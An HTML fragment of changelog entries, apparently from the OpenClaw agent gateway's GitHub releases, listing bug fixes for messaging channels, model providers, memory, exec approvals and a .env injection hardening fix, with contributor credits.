<li>fix(security): block npm_execpath injection from workspace .env [AI-assisted]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340604156" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73262/hovercard" href="https://github.com/openclaw/openclaw/pull/73262">#73262</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Tools/web_fetch: decode response bodies from raw bytes using declared HTTP, XML, or HTML meta charsets before extraction, so Shift_JIS and other legacy-charset pages no longer return mojibake. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337284956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72916/hovercard" href="https://github.com/openclaw/openclaw/issues/72916">#72916</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Active Memory: skip payload-less <code>memory_search</code> transcript tool results when building debug telemetry, so newer empty entries no longer hide the latest useful debug payload. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289720192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68773/hovercard" href="https://github.com/openclaw/openclaw/pull/68773">#68773</a>) Thanks @SimbaKingjoe.</li>
<li>Active Memory: keep recall setup time from consuming the configured model timeout while giving the hook runner an explicit bounded budget for the plugin, so slow embedded-run setup no longer causes immediate recall timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333274016" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72606" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72606/hovercard" href="https://github.com/openclaw/openclaw/issues/72606">#72606</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333343055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72620/hovercard" href="https://github.com/openclaw/openclaw/pull/72620">#72620</a>) Thanks @hyspacex.</li>
<li>Channels/Discord: bound message read/search REST calls, route those actions through Gateway execution, and fall back to <code>CommandTargetSessionKey</code> for inbound hook session keys so Discord reads do not hang and hooks still fire when <code>SessionKey</code> is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341806261" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73431" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73431/hovercard" href="https://github.com/openclaw/openclaw/issues/73431">#73431</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342707124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73521" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73521/hovercard" href="https://github.com/openclaw/openclaw/pull/73521">#73521</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugins/media: auto-enable provider plugins referenced by <code>agents.defaults.imageGenerationModel</code>, <code>videoGenerationModel</code>, and <code>musicGenerationModel</code> primary/fallback refs, so configured Google and MiniMax media providers do not stay disabled behind a restrictive plugin allowlist. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Memory-core/dreaming: retry managed dreaming cron registration after startup when the cron service is not reachable yet, so the scheduled Memory Dreaming Promotion sweep recovers without waiting for heartbeat traffic. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336307968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72841" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72841/hovercard" href="https://github.com/openclaw/openclaw/issues/72841">#72841</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Acpx/runtime: validate the runtime session mode at the <code>AcpxRuntime.ensureSession</code> wrapper boundary so callers that pass anything other than <code>persistent</code> or <code>oneshot</code> get a clear <code>ACP_INVALID_RUNTIME_OPTION</code> error instead of silently round-tripping through the encoded handle as a default <code>persistent</code> mode and later throwing <code>SessionResumeRequiredError</code>. Investigation context: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339298543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73071" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73071/hovercard" href="https://github.com/openclaw/openclaw/issues/73071">#73071</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342946140" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73548" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73548/hovercard" href="https://github.com/openclaw/openclaw/pull/73548">#73548</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/infer: keep web-search fallback on missing provider API keys, preserve structured validation errors from the selected provider, and let per-request image describe prompts override configured media-entry prompts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226252002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63263/hovercard" href="https://github.com/openclaw/openclaw/pull/63263">#63263</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Spolen23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Spolen23">@Spolen23</a>.</li>
<li>Chat commands: include configured model-catalog reasoning metadata when building <code>/think</code> argument menus so Ollama Cloud and other provider-owned reasoning models show supported levels instead of only <code>off</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342653082" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73515" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73515/hovercard" href="https://github.com/openclaw/openclaw/issues/73515">#73515</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343323395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73568/hovercard" href="https://github.com/openclaw/openclaw/pull/73568">#73568</a>. Thanks @danielzinhu99 and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Channels/Telegram: suppress generic tool-progress chatter when preview streaming is off, so non-streaming Telegram turns only deliver final replies while approvals, media, and errors still route normally. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331988059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72363" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72363/hovercard" href="https://github.com/openclaw/openclaw/issues/72363">#72363</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332559274" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72482" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72482/hovercard" href="https://github.com/openclaw/openclaw/pull/72482">#72482</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a> and @SweetSophia.</li>
<li>CLI/model probes: add repeatable image <code>--file</code> inputs to <code>infer model run</code> for local and gateway multimodal model smokes, so vision models such as Ollama Qwen VL and Gemini can be tested through the raw model-probe surface. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231557359" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63700" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63700/hovercard" href="https://github.com/openclaw/openclaw/issues/63700">#63700</a>. Thanks @cedricjanssens.</li>
<li>CLI/model probes: request trusted operator scope for <code>infer model run --gateway --model &lt;provider/model&gt;</code> so Gateway raw model smokes can use one-off provider/model overrides instead of being rejected before provider auth resolution. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345598480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73759" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73759/hovercard" href="https://github.com/openclaw/openclaw/issues/73759">#73759</a>. Thanks @chrislro.</li>
<li>CLI/image describe: pass <code>--prompt</code> and <code>--timeout-ms</code> through <code>infer image describe</code> and <code>describe-many</code>, so custom vision instructions and slow local model budgets reach media-understanding providers such as Ollama, OpenAI, Google, and OpenRouter. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231557359" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63700" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63700/hovercard" href="https://github.com/openclaw/openclaw/issues/63700">#63700</a>. Thanks @cedricjanssens.</li>
<li>Model selection: include the rejected provider/model ref and allowlist recovery hint when a stored session override is cleared, so local model selections such as Gemma GGUF variants do not fall back to the default with a generic message. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4322522808" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71069/hovercard" href="https://github.com/openclaw/openclaw/issues/71069">#71069</a>. Thanks @CyberRaccoonTeam.</li>
<li>OpenAI-compatible providers: drop malformed event-only or blank-data SSE frames before the OpenAI SDK stream parser sees them, so proxies that split <code>event:</code> from <code>data:</code> no longer crash streaming runs with <code>Unexpected end of JSON input</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4120148034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52802" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52802/hovercard" href="https://github.com/openclaw/openclaw/issues/52802">#52802</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LyHug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LyHug">@LyHug</a>.</li>
<li>Gateway/OpenAI-compatible streaming: strip <code>&lt;final&gt;</code> tags split across streamed model deltas before they reach SSE clients, so <code>/v1/chat/completions</code> no longer emits tag remnants or drops content when final-answer wrappers cross chunk boundaries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226978969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63325" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63325/hovercard" href="https://github.com/openclaw/openclaw/issues/63325">#63325</a>. Thanks @tzwickl.</li>
<li>Ollama: resolve explicitly selected signed-in <code>:cloud</code> models through <code>/api/show</code> when <code>/api/tags</code> omits them, so working models such as <code>gemini-3-flash-preview:cloud</code> and <code>deepseek-v4-pro:cloud</code> do not fail dynamic model resolution before the native <code>/api/chat</code> transport runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347240832" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73909" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73909/hovercard" href="https://github.com/openclaw/openclaw/issues/73909">#73909</a>. Thanks @chtse53.</li>
<li>Discord/exec approvals: keep the local <code>/approve</code> prompt when no native Discord approval runtime is active, and send a manual fallback notice when native approval delivery reaches no targets, so failed DM cards no longer leave approval turns silent or dependent on model-written shell commands. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347379791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73954" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73954/hovercard" href="https://github.com/openclaw/openclaw/issues/73954">#73954</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347582133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74027" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74027/hovercard" href="https://github.com/openclaw/openclaw/pull/74027">#74027</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guarismo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guarismo">@guarismo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Local model prompt caching: keep stable Project Context above volatile channel/session prompt guidance and stop embedding current channel names in the message tool description, so Ollama, MLX, llama.cpp, and other prefix-cache backends avoid avoidable full prompt reprocessing across channel turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042157634" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40256" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40256/hovercard" href="https://github.com/openclaw/openclaw/issues/40256">#40256</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042278613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40296/hovercard" href="https://github.com/openclaw/openclaw/pull/40296">#40296</a>. Thanks @rhclaw and @sriram369.</li>
<li>Gateway/OpenAI-compatible API: guard provider policy lookup against runtime providers with non-array <code>models</code> values, so <code>/v1/chat/completions</code> no longer fails with <code>provider?.models?.some is not a function</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264109417" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66744" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66744/hovercard" href="https://github.com/openclaw/openclaw/issues/66744">#66744</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264303605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66761" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66761/hovercard" href="https://github.com/openclaw/openclaw/pull/66761">#66761</a>. Thanks @MightyMoud, @MukundaKatta.</li>
<li>WhatsApp/Web: pass explicit Baileys socket timings into every WhatsApp Web socket and expose <code>web.whatsapp.*</code> keepalive, connect, and query timeout settings so unstable networks can avoid repeated 408 disconnect and opening-handshake timeout loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4159428566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56365" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56365/hovercard" href="https://github.com/openclaw/openclaw/issues/56365">#56365</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343447305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73580" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73580/hovercard" href="https://github.com/openclaw/openclaw/pull/73580">#73580</a>) Thanks @velvet-shark.</li>
<li>WhatsApp/Web: recover recently active listeners when a post-408 reconnect keeps receiving transport frames but stops delivering app messages, while keeping group metadata fallback off Baileys sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233698306" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63855" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63855/hovercard" href="https://github.com/openclaw/openclaw/issues/63855">#63855</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265721576" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66920" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66920/hovercard" href="https://github.com/openclaw/openclaw/issues/66920">#66920</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887700676" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/7433" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/7433/hovercard" href="https://github.com/openclaw/openclaw/issues/7433">#7433</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4280282270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67986/hovercard" href="https://github.com/openclaw/openclaw/issues/67986">#67986</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319778979" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70856" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70856/hovercard" href="https://github.com/openclaw/openclaw/issues/70856">#70856</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197893841" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60007" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60007/hovercard" href="https://github.com/openclaw/openclaw/pull/60007">#60007</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333345205" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72621" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72621/hovercard" href="https://github.com/openclaw/openclaw/pull/72621">#72621</a>. Thanks @legonhilltech-jpg, @octopuslabs-fl, @Kanorin-chan, and @stuswan.</li>
<li>Channels/Telegram: persist native command metadata on target sessions so topic, helper, and ACP-bound slash commands keep their session metadata attached to the routed conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4168079108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57548" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57548/hovercard" href="https://github.com/openclaw/openclaw/pull/57548">#57548</a>) Thanks @GaosCode.</li>
<li>Channels/native commands: keep validated native slash command replies visible in group chats while preserving explicit owner allowlists for command authorization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344709307" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73672" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73672/hovercard" href="https://github.com/openclaw/openclaw/pull/73672">#73672</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Pairing/doctor: bootstrap <code>commands.ownerAllowFrom</code> from the first approved DM pairing when no command owner exists, and have doctor explain missing owners so privileged slash commands are not accidentally unusable after onboarding. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Telegram/exec: infer native exec approvers from <code>commands.ownerAllowFrom</code> and auto-enable the Telegram approval client when an owner is resolvable, so owner-only commands such as <code>/diagnostics</code> can be approved in Telegram without duplicate per-channel approver config. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Auto-reply/session: carry the tail of user/assistant turns into the freshly-rotated transcript on silent in-reply session resets (compaction failure, role-ordering conflict) so direct-chat continuity survives the rebind. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319746928" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70853" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70853/hovercard" href="https://github.com/openclaw/openclaw/issues/70853">#70853</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320196607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70898" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70898/hovercard" href="https://github.com/openclaw/openclaw/pull/70898">#70898</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Skills: load grouped skill directories such as <code>skills/&lt;group&gt;/&lt;skill&gt;/SKILL.md</code> from configured skill roots while keeping grouped discovery capped for large directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163525640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56915" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56915/hovercard" href="https://github.com/openclaw/openclaw/issues/56915">#56915</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332799995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72534" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72534/hovercard" href="https://github.com/openclaw/openclaw/pull/72534">#72534</a>) Thanks @ottodeng, @MoerAI, and @i010542.</li>
<li>Config: skip malformed non-string <code>env.vars</code> entries before env-reference checks, so config loading no longer crashes on JSON values like numbers or booleans. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4053205994" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42402" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42402/hovercard" href="https://github.com/openclaw/openclaw/pull/42402">#42402</a>) Thanks @MiltonHeYan.</li>
<li>Docker Compose: default missing config and workspace bind mounts to <code>${HOME:-/tmp}/.openclaw</code> so manual compose runs do not create invalid empty-source volume specs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241483820" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64485" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64485/hovercard" href="https://github.com/openclaw/openclaw/pull/64485">#64485</a>) Thanks @jlapenna.</li>
<li>Agents/context engines: preserve the child agent's configured <code>agentDir</code> when subagent cleanup re-resolves a context engine, so <code>onSubagentEnded</code> hooks keep operating on the correct per-agent state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269702327" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67243" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67243/hovercard" href="https://github.com/openclaw/openclaw/pull/67243">#67243</a>) Thanks @jarimustonen.</li>
<li>Channels/WhatsApp: restrict pairing verification replies to real inbound user content, preventing unsolicited prompts from receipts, typing indicators, presence updates, and other non-message Baileys upserts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346092528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73797" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73797/hovercard" href="https://github.com/openclaw/openclaw/issues/73797">#73797</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346437717" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73823" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73823/hovercard" href="https://github.com/openclaw/openclaw/pull/73823">#73823</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Configure/Ollama: show the configured Ollama model allowlist after Cloud only or Cloud + Local setup and skip slow per-model cloud metadata fetches. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347480168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73995" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73995/hovercard" href="https://github.com/openclaw/openclaw/pull/73995">#73995</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Channels/WhatsApp: detect explicit group <code>@mentions</code> again when the bot's own E.164 is in <code>allowFrom</code>, so shared-number setups no longer skip group pings that directly mention the bot. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091909998" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49317" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49317/hovercard" href="https://github.com/openclaw/openclaw/issues/49317">#49317</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342031370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73453/hovercard" href="https://github.com/openclaw/openclaw/pull/73453">#73453</a>) Thanks @juan-flores077.</li>
<li>WhatsApp/reliability: publish real transport-liveness into WhatsApp channel status and force earlier reconnects on silent transport stalls, so quiet healthy sessions stay connected while wedged sockets recover before the later remote 408 path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333644872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72656/hovercard" href="https://github.com/openclaw/openclaw/pull/72656">#72656</a>) Thanks @Sathvik-1007.</li>
<li>Core/channels: tighten selected runtime, media, and plugin edge-case handling while preserving existing behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Channels/WhatsApp: strip leaked plural tool-call XML wrappers on every WhatsApp-visible outbound path and keep channel error payloads out of WhatsApp chats. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329523309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71830/hovercard" href="https://github.com/openclaw/openclaw/pull/71830">#71830</a>) Thanks @rubencu.</li>
<li>Agents/embedded-runner: inject the resolved OAuth bearer (and forward the run abort signal) on the boundary-aware embedded stream fallback so models that route through <code>openai-codex-responses</code> and other boundary-aware transports stop failing with <code>401 Unauthorized: Missing bearer or basic authentication in header</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343169386" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73559" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73559/hovercard" href="https://github.com/openclaw/openclaw/issues/73559">#73559</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343600007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73588" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73588/hovercard" href="https://github.com/openclaw/openclaw/pull/73588">#73588</a>) Thanks @openperf.</li>
<li>Telegram/gateway: bound outbound Bot API calls and cache bundled plugin alias lookup so slow Telegram sends or WSL2 filesystem scans no longer wedge gateway replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348974196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74210" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74210/hovercard" href="https://github.com/openclaw/openclaw/pull/74210">#74210</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Configure/GitHub Copilot: reuse existing Copilot auth during configure and show the provider's manifest model catalog in the model picker. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349704967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74276" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74276/hovercard" href="https://github.com/openclaw/openclaw/pull/74276">#74276</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
